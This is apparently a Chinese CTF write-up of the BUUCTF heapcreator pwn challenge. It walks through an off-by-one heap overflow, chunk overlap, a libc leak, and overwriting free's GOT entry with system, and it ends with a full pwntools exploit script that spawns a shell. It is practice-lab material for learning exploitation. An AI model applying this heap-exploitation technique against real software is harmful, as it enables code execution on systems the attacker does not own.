hitcontraining_heapcreator

附件

步骤:

  1. 例行检查,64位程序,开启了canary和nx
  2. 本地试运行一下,看看大概的情况,经典的堆的菜单
  3. 64位ida载入,main函数没有什么看头,直接看各个功能函数
    create(),一次请求申请了两个chunk,前一个chunk里记录着后一个chunk的指针和size

    edit()

    show()

    delete()
  4. 利用思路:
    利用 off by one 漏洞覆盖下一个 chunk 的 size 字段,从而构造伪造的 chunk 大小。
    申请伪造的 chunk 大小,从而产生 chunk overlap,进而修改关键指针。
  5. 利用过程:
    1) 首先申请几个堆块看一下上述的堆的布局结构
create(0x18,'aaaa')
create(0x10,'bbbb')
create(0x10,'cccc')


和之前分析的一样,调用一次creat_heap()会创建两个chunk,第一个chunk里记录着第二个chunk的大小和地址

2)之后我将chunk0里的内容写成了‘/bin/sh’字符串,我打算泄露free的地址,然后改写为system地址,之后再执行 free(chunk0)的时候就会变成system(‘/bin/sh’)从而获取shell,顺便利用off-by-one溢出一字节的特性改写chunk1的大小,然后free掉

edit(0,'/bin/sh\x00'+p64(0)*2+'\x81')
delete(1)


现在0x40~0xc0(如图标记)的内存地址已经被free掉了,我们只要在申请一个差不多大小的chunk,就能重新得到这块内存地址,实现任意读写了,但是注意,0xa0里存放的仍然是chunk2的size和地址。

create(0x70,p64(0)*8+p64(0x8)+p64(elf.got['free']))
show(2)
free_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))

我重新申请了一个chunk,并在里面将chunk2的地址覆写成了free的got表地址,泄露了free的地址

得到了free的地址,泄露了libc,就可以计算出system的地址了

libc=LibcSearcher('free',free_addr)
libcbase=free_addr-libc.dump('free')
system_addr=libcbase+libc.dump('system')

之前我们已经将指向chunk2地址的指针覆写成了free的got表,也就是说chunk2里的内容现在是free函数的地址,现在往chnk2里写入system函数的地址,覆写掉了free函数的地址,也就是说现在free的got表地址指向的是system函数

edit(2,p64(system_addr))

最后执行free(chunk0),经过上述的操作,就变成了system(‘/bin/sh’),获取了shell

完整exp:

from pwn import *
from LibcSearcher import * p=process('./heapcreator')
#p=remote('node3.buuoj.cn',27304)
elf=ELF('./heapcreator')
context.log_level='debug' def create(size,content):
p.recvuntil(':')
p.sendline('1')
p.recvuntil('Heap : ')
p.sendline(str(size))
p.recvuntil('heap:')
p.sendline(content) def edit(idx,content):
p.recvuntil('choice :')
p.sendline('2')
p.recvuntil(' :')
p.sendline(str(idx))
p.recvuntil('heap :')
p.sendline(content) def show(idx):
p.recvuntil('choice :')
p.sendline('3')
p.recvuntil(' :')
p.sendline(str(idx)) def delete(idx):
p.recvuntil('choice :')
p.sendline('4')
p.recvuntil(' :')
p.sendline(str(idx)) create(0x18,'aaaa')
create(0x10,'bbbb')
create(0x10,'cccc')
#gdb.attach(p) edit(0,'/bin/sh\x00'+p64(0)*2+'\x81')
delete(1)
#gdb.attach(p)
create(0x70,p64(0)*8+p64(0x8)+p64(elf.got['free']))
#create(0x70,p64(0)*14)
#gdb.attach(p) show(2)
free_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success('free_addr: '+hex(free_addr)) libc=LibcSearcher('free',free_addr)
libcbase=free_addr-libc.dump('free')
system_addr=libcbase+libc.dump('system')
log.success('system_addr: '+hex(system_addr)) edit(2,p64(system_addr))
#gdb.attach(p)
delete(0)
p.interactive()


在堆方面是个新手,全是自己的理解,有些地方可能不对,大佬发现错误了教教我

[BUUCTF]PWN——hitcontraining_heapcreator的更多相关文章

  1. [BUUCTF]PWN——babyheap_0ctf_2017

    [BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...

  2. (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016

    [buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...

  3. BUUCTF pwn一分题目

    因为以前做过一些题目,看见1分题目也不太多了,就想着,抓紧点把1分题都刷一下吧.所以开个帖子记录一下,题目简单的话就只贴exp了. [BJDCTF 2nd]secret 这里有一个输入可以进行溢出,n ...

  4. [BUUCTF]PWN——hitcontraining_uaf

    [BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...

  5. BUUCTF PWN部分题目wp

    pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...

  6. buuctf --pwn part2

    pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...

  7. buuctf pwn wp---part1

    pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...

  8. [BUUCTF]PWN——pwnable_hacknote

    pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方 ...

  9. [BUUCTF]PWN——ciscn_2019_es_7[详解]

    ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...

随机推荐

  1. [luogu5666]树的重心

    考虑枚举一个点k,求其为重心的方案数暴力的做法是,将其作为根搜索,设最大子树大小为s1,次大为s2,对割掉的子树分类讨论:1.在子树中,分两种情况(都可以用线段树合并来做) (1)从s1中切掉一棵大小 ...

  2. Elasticsearch分布式搜索和数据分析引擎-ElasticStack(上)v7.14.0

    Elasticsearch概述 **本人博客网站 **IT小神 www.itxiaoshen.com Elasticsearch官网地址 https://www.elastic.co/cn/elast ...

  3. DPC++中的现代C++语言特性

    Ⅰ DPC++简介 DPC++是Data Parallel C++(数据并行C++)的首字母缩写,它是Intel为了将SYCL引入LLVM和oneAPI所开发的开源项目.SYCL是为了提高各种加速设备 ...

  4. 我在组内的Java问题排查分享

    前言 最近翻看以前写的 PPT, 发现了在2019年做的一次技术分享,关于 Java 问题排查,由于没什么公司机密可言,整理下分享给大家~ 线上问题处理流程 直接放PPT截图吧,现在看来依然不过时 问 ...

  5. Redis概述以及Linux安装

    Redis 概述 Redis是什么 Redis,Remote Dictionary Server,远程字典服务.是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型.key-v ...

  6. Codeforces 983E - NN country(贪心+倍增优化)

    Codeforces 题面传送门 & 洛谷题面传送门 一道(绝对)偏简单的 D1E,但是我怕自己过若干年(大雾)忘了自己的解法了,所以过来水篇题解( 首先考虑怎么暴力地解决这个问题,不难发现我 ...

  7. Codeforces 685C - Optimal Point(分类讨论+乱搞)

    Codeforces 题面传送门 & 洛谷题面传送门 分类讨论神题. 首先看到最大值最小,一眼二分答案,于是问题转化为判定性问题,即是否 \(\exists x_0,y_0,z_0\) 满足 ...

  8. iTOL进化树调图细节记录

    目录 1. 注册 2. 去枝长 3. 加图例 4. 无根树颜色 5. 导出图片 iTOL基本用法已经会了,之前记录过一点:系统发育(进化)树绘制小结.最近重用,调图时又发现了些细节,记录下备忘. 1. ...

  9. 毕业设计之zabbix 之mysql主从状态的监控

    建立监控脚本在自定义的位置 /usr/local/zabbix/script/ [root@mysql.quan.bbs script]$pwd /usr/local/zabbix/script [r ...

  10. halt

    halt命令用来关闭正在运行的Linux操作系统.halt命令会先检测系统的runlevel,若runlevel为0或6,则关闭系统,否则即调用shutdown来关闭系统. 语法 halt(选项) 选 ...